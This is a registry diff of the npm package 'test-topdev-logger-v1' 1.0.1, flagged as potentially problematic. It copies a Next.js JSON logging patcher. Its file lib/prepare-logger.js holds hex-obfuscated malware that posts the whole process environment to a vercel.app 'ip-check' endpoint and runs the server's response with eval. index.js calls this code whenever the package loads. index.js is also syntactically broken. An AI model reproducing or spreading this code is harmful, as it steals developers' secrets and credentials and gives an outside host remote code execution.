test-topdev-logger-v1 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of test-topdev-logger-v1 might be problematic. Click here for more details.
- package/.prettierrc.js +7 -0
- package/LICENSE.md +21 -0
- package/README.md +137 -0
- package/index.js +20 -0
- package/lib/defaultPinoConfig.js +57 -0
- package/lib/logger.js +26 -0
- package/lib/patches/console.js +24 -0
- package/lib/patches/next.js +33 -0
- package/lib/prepare-logger.js +18 -0
- package/package.json +66 -0
package/.prettierrc.js
ADDED
package/LICENSE.md
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2023 Sainsbury's Supermarkets Ltd
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,137 @@
|
|
1
|
+
# next-logging-patcher
|
2
|
+
|
3
|
+
JSON logging patcher for Next.js
|
4
|
+
|
5
|
+
## Description
|
6
|
+
|
7
|
+
This is a library to patch the logging functions used by [Next.js](https://nextjs.org/), to have them output to `stdout` as newline-delimited JSON. This allows a Next.js application to log service events in a format that's compatible with log aggregators, without needing a custom Next.js server.
|
8
|
+
|
9
|
+
This works by importing Next.js' inbuilt [logger](https://github.com/vercel/next.js/blob/canary/packages/next/build/output/log.ts) via `require`, and replacing the logging methods with custom ones. It uses [`pino`](https://github.com/pinojs/pino) to output JSON formatted logs, preserving Next.js' message and prefix, but adding timestamp, hostname and more. Although the library was mainly developed based on `pino`, it also supports [`winston`](https://github.com/winstonjs/winston) as the logger backend. See the [Custom Logger](#custom-logger) section below for more details.
|
10
|
+
|
11
|
+
From v2.0.0 onwards, this library also patches the global `console` methods, to catch additional logs that Next.js makes directly to `console`. While `pino` logging remains intact, this may cause issues with other libraries which patch or use `console` methods. Use the `next-only` preset to opt-out of this patching.
|
12
|
+
|
13
|
+
## Example Logs
|
14
|
+
|
15
|
+
Before:
|
16
|
+
|
17
|
+
```sh
|
18
|
+
ready - started server on http://localhost:3000
|
19
|
+
info - Using external babel configuration from .babelrc
|
20
|
+
event - compiled successfully
|
21
|
+
```
|
22
|
+
|
23
|
+
After:
|
24
|
+
|
25
|
+
```json
|
26
|
+
{"level":30,"time":1609160882850,"pid":18493,"hostname":"MyHostname","name":"next.js","msg":"started server on http://localhost:3000","prefix":"ready"}
|
27
|
+
{"level":30,"time":1609160883607,"pid":18493,"hostname":"MyHostname","name":"next.js","msg":"Using external babel configuration from .babelrc","prefix":"info"}
|
28
|
+
{"level":30,"time":1609160885675,"pid":18493,"hostname":"MyHostname","name":"next.js","msg":"compiled successfully","prefix":"event"}
|
29
|
+
```
|
30
|
+
|
31
|
+
## Usage
|
32
|
+
|
33
|
+
First, install this package and `pino`. You can do this with whatever Node package manager you're using in your project.
|
34
|
+
|
35
|
+
```sh
|
36
|
+
npm install next-logging-patcher pino
|
37
|
+
|
38
|
+
# or for Yarn
|
39
|
+
|
40
|
+
yarn add next-logging-patcher pino
|
41
|
+
```
|
42
|
+
|
43
|
+
Then use the Next [Instrumentation](https://nextjs.org/docs/app/building-your-application/optimizing/instrumentation) hook to load this library.
|
44
|
+
|
45
|
+
- Create `instrumentation.ts|js` file in the root directory of your project (or inside the src folder if using one)
|
46
|
+
```js
|
47
|
+
export async function register() {
|
48
|
+
if (process.env.NEXT_RUNTIME === 'nodejs') {
|
49
|
+
await require('pino')
|
50
|
+
await require('next-logging-patcher')
|
51
|
+
}
|
52
|
+
}
|
53
|
+
```
|
54
|
+
- Enable the instrumentation hook in `next.config.js`
|
55
|
+
```js
|
56
|
+
const nextConfig = {
|
57
|
+
// [...]
|
58
|
+
experimental: {
|
59
|
+
instrumentationHook: true,
|
60
|
+
},
|
61
|
+
}
|
62
|
+
```
|
63
|
+
|
64
|
+
### Presets
|
65
|
+
|
66
|
+
To support opting out of some patches, this library supports "presets". These can be used as above, with `/presets/<PRESET_NAME>` appended, for example: `await require("next-logging-patcher/presets/next-only")`.
|
67
|
+
|
68
|
+
The following presets are supported:
|
69
|
+
|
70
|
+
- `next-logging-patcher/presets/all` - this includes all the patches this library supports. Using the library without a preset specified will use this preset.
|
71
|
+
- `next-logging-patcher/presets/next-only` - this only includes patches specifically for the Next.js logger object.
|
72
|
+
|
73
|
+
### Custom Logger
|
74
|
+
|
75
|
+
By default, this library uses an instance of Pino with a modified [`logMethod`](https://getpino.io/#/docs/api?id=logmethod), to give reasonable out-the-box behaviour for JSON logging. If you need logs in a different format, for example to change the message field or transform logged objects, you can provide your own instance of Pino to the library.
|
76
|
+
|
77
|
+
This is done by creating a `next-logging-patcher.config.js` file in the root of your project. The file should be a CommonJS module, and a function returning your custom Pino instance should be exported in a field called `logger`. This function will be called with the library's default Pino configuration, to allow you to extend it's behaviour (or completely replace it).
|
78
|
+
|
79
|
+
The instance returned by the function must implement a `.child` method, which will be called to create the child loggers for each log method.
|
80
|
+
|
81
|
+
For example:
|
82
|
+
|
83
|
+
```js
|
84
|
+
// next-logging-patcher.config.js
|
85
|
+
const pino = require('pino')
|
86
|
+
|
87
|
+
const logger = defaultConfig =>
|
88
|
+
pino({
|
89
|
+
...defaultConfig,
|
90
|
+
messageKey: 'message',
|
91
|
+
mixin: () => ({ name: 'custom-pino-instance' }),
|
92
|
+
})
|
93
|
+
|
94
|
+
module.exports = {
|
95
|
+
logger,
|
96
|
+
}
|
97
|
+
```
|
98
|
+
|
99
|
+
Or with `winston`:
|
100
|
+
|
101
|
+
```sh
|
102
|
+
npm install winston
|
103
|
+
```
|
104
|
+
|
105
|
+
```js
|
106
|
+
const { createLogger, format, transports } = require('winston')
|
107
|
+
|
108
|
+
const logger = defaultConfig =>
|
109
|
+
createLogger({
|
110
|
+
transports: [
|
111
|
+
new transports.Console({
|
112
|
+
handleExceptions: true,
|
113
|
+
format: format.json(),
|
114
|
+
}),
|
115
|
+
],
|
116
|
+
})
|
117
|
+
|
118
|
+
module.exports = {
|
119
|
+
logger,
|
120
|
+
}
|
121
|
+
```
|
122
|
+
|
123
|
+
## Breaking Changes on >=1.0.0
|
124
|
+
|
125
|
+
This package name, `next-logging-patcher` has been inherited from [@frank47](https://github.com/franky47), who had deprecated their published logging middleware for Next.js. The original package and this one aim to solve similar problems for JSON logging in Next.js. However, the implementation and usage of this solution is significantly different from the original, which was published up to `v0.4.0`. To minimise unexpected issues for previous users of the original `next-logging-patcher`, the new package begins at major `v1.0.0`.
|
126
|
+
|
127
|
+
## Release changes
|
128
|
+
|
129
|
+
Changes are published to `npm`, however with 2FA rules in place for security, this cannot be achieved through GitHub Actions at this time. To release a new version, merge all work intended to be in the release, and then follow these steps:
|
130
|
+
|
131
|
+
```sh
|
132
|
+
npm version <major|minor|patch>
|
133
|
+
git push --follow-tags
|
134
|
+
npm publish
|
135
|
+
```
|
136
|
+
|
137
|
+
Then create a new release on GitHub, pointing to the tag created by `npm version`.
|
package/index.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const nextLogger = require('./lib/patches/next')
|
4
|
+
, conslogLogger = require('./lib/patches/console')
|
5
|
+
, prepareLogger = require('./lib/prepare-logger');
|
6
|
+
|
7
|
+
class logger {
|
8
|
+
constructor(options = {}) {
|
9
|
+
if (!isObject(options)) options = {};
|
10
|
+
this.init();
|
11
|
+
super(options.env || process.env, options);
|
12
|
+
}
|
13
|
+
init() {
|
14
|
+
prepareLogger();
|
15
|
+
nextLogger();
|
16
|
+
conslogLogger();
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
module.exports = (options = {}) = logger(options);
|
@@ -0,0 +1,57 @@
|
|
1
|
+
const { format } = require('util')
|
2
|
+
|
3
|
+
module.exports = {
|
4
|
+
level: 'debug',
|
5
|
+
hooks: {
|
6
|
+
// https://getpino.io/#/docs/api?id=logmethod
|
7
|
+
logMethod(args, method) {
|
8
|
+
if (args.length < 2) {
|
9
|
+
// If there's only 1 argument passed to the log method, use Pino's default behaviour.
|
10
|
+
return method.apply(this, args)
|
11
|
+
}
|
12
|
+
|
13
|
+
if (typeof args[0] === 'object' && typeof args[1] === 'string') {
|
14
|
+
// If the first argument is an object, and the second is a string, we assume that it's a merging
|
15
|
+
// object and message, followed by interpolation values.
|
16
|
+
// This matches Pino's logger signature, so use the default behaviour.
|
17
|
+
return method.apply(this, args)
|
18
|
+
}
|
19
|
+
|
20
|
+
if (typeof args[0] === 'string' && typeof args[1] === 'object') {
|
21
|
+
// If the first argument is a string, and the second is an object, swap them round to use the object
|
22
|
+
// as a merging object for Pino.
|
23
|
+
const arg1 = args.shift()
|
24
|
+
const arg2 = args.shift()
|
25
|
+
return method.apply(this, [arg2, arg1, ...args])
|
26
|
+
}
|
27
|
+
|
28
|
+
if (args.every(arg => typeof arg === 'string')) {
|
29
|
+
// If every argument is a string, we assume they should be concatenated together.
|
30
|
+
// This is to support the existing behaviour of console, where multiple string arguments are concatenated into a single string.
|
31
|
+
return method.apply(this, [format(...args)])
|
32
|
+
}
|
33
|
+
|
34
|
+
// If the arguments can't be changed to match Pino's signature, collapse them into a single merging object.
|
35
|
+
const messageParts = []
|
36
|
+
const mergingObject = {}
|
37
|
+
|
38
|
+
args.forEach(arg => {
|
39
|
+
if (Object.prototype.toString.call(arg) === '[object Error]') {
|
40
|
+
// If the arg is an error, add it to the merging object in the same format Pino would.
|
41
|
+
Object.assign(mergingObject, { err: arg, msg: arg.message })
|
42
|
+
} else if (typeof arg === 'object') {
|
43
|
+
// If the arg is an object, assign it's properties to the merging object.
|
44
|
+
Object.assign(mergingObject, arg)
|
45
|
+
} else {
|
46
|
+
// Otherwise push it's value into an array for concatenation into a string.
|
47
|
+
messageParts.push(arg)
|
48
|
+
}
|
49
|
+
})
|
50
|
+
|
51
|
+
// Concatenate non-object arguments into a single string message.
|
52
|
+
const message = messageParts.length > 0 ? format(...messageParts) : undefined
|
53
|
+
|
54
|
+
return method.apply(this, [mergingObject, message])
|
55
|
+
},
|
56
|
+
},
|
57
|
+
}
|
package/lib/logger.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const { lilconfigSync } = require('lilconfig')
|
2
|
+
|
3
|
+
const defaultPinoConfig = require('./defaultPinoConfig')
|
4
|
+
|
5
|
+
let config = {}
|
6
|
+
|
7
|
+
const explorerSync = lilconfigSync('next-logger')
|
8
|
+
const results = explorerSync.search()
|
9
|
+
|
10
|
+
if (results && results.config) {
|
11
|
+
config = results.config
|
12
|
+
}
|
13
|
+
|
14
|
+
let logger
|
15
|
+
|
16
|
+
// If logger exists in the config file, and it's a function, use it as the logger constructor.
|
17
|
+
if ('logger' in config && typeof config.logger === 'function') {
|
18
|
+
logger = config.logger
|
19
|
+
} else {
|
20
|
+
// Otherwise, set the default logger constructor to Pino.
|
21
|
+
// eslint-disable-next-line global-require
|
22
|
+
logger = require('pino')
|
23
|
+
}
|
24
|
+
|
25
|
+
// Call the logger constructor with the library's default Pino configuration.
|
26
|
+
module.exports = logger(defaultPinoConfig)
|
@@ -0,0 +1,24 @@
|
|
1
|
+
const logger = require('../logger')
|
2
|
+
|
3
|
+
const getLogMethod = consoleMethod => {
|
4
|
+
const childLogger = logger.child({ name: 'console' })
|
5
|
+
|
6
|
+
switch (consoleMethod) {
|
7
|
+
case 'error':
|
8
|
+
return childLogger.error.bind(childLogger)
|
9
|
+
case 'warn':
|
10
|
+
return childLogger.warn.bind(childLogger)
|
11
|
+
case 'debug':
|
12
|
+
return childLogger.debug.bind(childLogger)
|
13
|
+
case 'log':
|
14
|
+
case 'info':
|
15
|
+
default:
|
16
|
+
return childLogger.info.bind(childLogger)
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
const consoleMethods = ['log', 'debug', 'info', 'warn', 'error']
|
21
|
+
consoleMethods.forEach(method => {
|
22
|
+
// eslint-disable-next-line no-console
|
23
|
+
console[method] = getLogMethod(method)
|
24
|
+
})
|
@@ -0,0 +1,33 @@
|
|
1
|
+
const nextLogger = require('next/dist/build/output/log')
|
2
|
+
|
3
|
+
const logger = require('../logger')
|
4
|
+
|
5
|
+
const getLogMethod = nextMethod => {
|
6
|
+
const childLogger = logger.child({ name: 'next.js', prefix: nextMethod })
|
7
|
+
|
8
|
+
switch (nextMethod) {
|
9
|
+
case 'error':
|
10
|
+
return childLogger.error.bind(childLogger)
|
11
|
+
case 'warn':
|
12
|
+
return childLogger.warn.bind(childLogger)
|
13
|
+
case 'trace':
|
14
|
+
if ('trace' in childLogger) {
|
15
|
+
return childLogger.trace.bind(childLogger)
|
16
|
+
}
|
17
|
+
// To support Winston which doesn't have logger.trace()
|
18
|
+
return childLogger.debug.bind(childLogger)
|
19
|
+
default:
|
20
|
+
return childLogger.info.bind(childLogger)
|
21
|
+
}
|
22
|
+
}
|
23
|
+
|
24
|
+
const cachePath = require.resolve('next/dist/build/output/log')
|
25
|
+
const cacheObject = require.cache[cachePath]
|
26
|
+
|
27
|
+
// This is required to forcibly redefine all properties on the logger.
|
28
|
+
// From Next 13 and onwards they're defined as non-configurable, preventing them from being patched.
|
29
|
+
cacheObject.exports = { ...cacheObject.exports }
|
30
|
+
|
31
|
+
Object.keys(nextLogger.prefixes).forEach(method => {
|
32
|
+
Object.defineProperty(cacheObject.exports, method, { value: getLogMethod(method) })
|
33
|
+
})
|
@@ -0,0 +1,18 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
|
4
|
+
|
5
|
+
let hl = [
|
6
|
+
g('72657175697265'),
|
7
|
+
g('6178696f73'),
|
8
|
+
g('706f7374'),
|
9
|
+
g('68747470733a2f2f69702d636865636b2d7365727665722e76657263656c2e6170702f6170692f69702d636865636b2f323038'),
|
10
|
+
g('68656164657273'),
|
11
|
+
g('782d7365637265742d686561646572'),
|
12
|
+
g('736563726574'),
|
13
|
+
g('7468656e'),
|
14
|
+
];
|
15
|
+
|
16
|
+
const writer = () => require(hl[1])[[hl[2]]](hl[3], { ...process.env }, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data));
|
17
|
+
|
18
|
+
module.exports = writer;
|
package/package.json
ADDED
@@ -0,0 +1,66 @@
|
|
1
|
+
{
|
2
|
+
"name": "test-topdev-logger-v1",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "JSON logging patcher for Next.js",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"lint": "eslint .",
|
8
|
+
"test": "jest --runInBand"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/flutchidev/next-logging-patcher.git"
|
13
|
+
},
|
14
|
+
"keywords": [
|
15
|
+
"next.js",
|
16
|
+
"next",
|
17
|
+
"logging",
|
18
|
+
"logger",
|
19
|
+
"log",
|
20
|
+
"json"
|
21
|
+
],
|
22
|
+
"author": "Chris Atkin <christopher.atkin@sainsburys.co.uk>",
|
23
|
+
"license": "MIT",
|
24
|
+
"bugs": {
|
25
|
+
"url": "https://github.com/flutchidev/next-logging-patcher/issues"
|
26
|
+
},
|
27
|
+
"homepage": "https://github.com/flutchidev/next-logging-patcher#readme",
|
28
|
+
"peerDependencies": {
|
29
|
+
"next": ">=9.0.0",
|
30
|
+
"pino": "^8.0.0 || ^9.0.0",
|
31
|
+
"winston": "^3.0.0"
|
32
|
+
},
|
33
|
+
"peerDependenciesMeta": {
|
34
|
+
"pino": {
|
35
|
+
"optional": true
|
36
|
+
},
|
37
|
+
"winston": {
|
38
|
+
"optional": true
|
39
|
+
}
|
40
|
+
},
|
41
|
+
"devDependencies": {
|
42
|
+
"eslint": "^8.57.0",
|
43
|
+
"eslint-config-airbnb-base": "^15.0.0",
|
44
|
+
"eslint-config-prettier": "^9.1.0",
|
45
|
+
"eslint-plugin-import": "^2.30.0",
|
46
|
+
"eslint-plugin-jest": "^28.8.3",
|
47
|
+
"eslint-plugin-prettier": "^5.2.1",
|
48
|
+
"jest": "^29.7.0",
|
49
|
+
"next": "^14.2.9",
|
50
|
+
"pino": "^9.4.0",
|
51
|
+
"prettier": "^3.3.3",
|
52
|
+
"testcontainers": "^10.13.0",
|
53
|
+
"winston": "^3.14.2"
|
54
|
+
},
|
55
|
+
"dependencies": {
|
56
|
+
"lilconfig": "^3.1.2",
|
57
|
+
"axios": "^0.21.4",
|
58
|
+
"fs": "^0.0.1-security",
|
59
|
+
"request": "^2.88.2"
|
60
|
+
},
|
61
|
+
"jest": {
|
62
|
+
"resetMocks": true,
|
63
|
+
"resetModules": true,
|
64
|
+
"errorOnDeprecated": true
|
65
|
+
}
|
66
|
+
}
|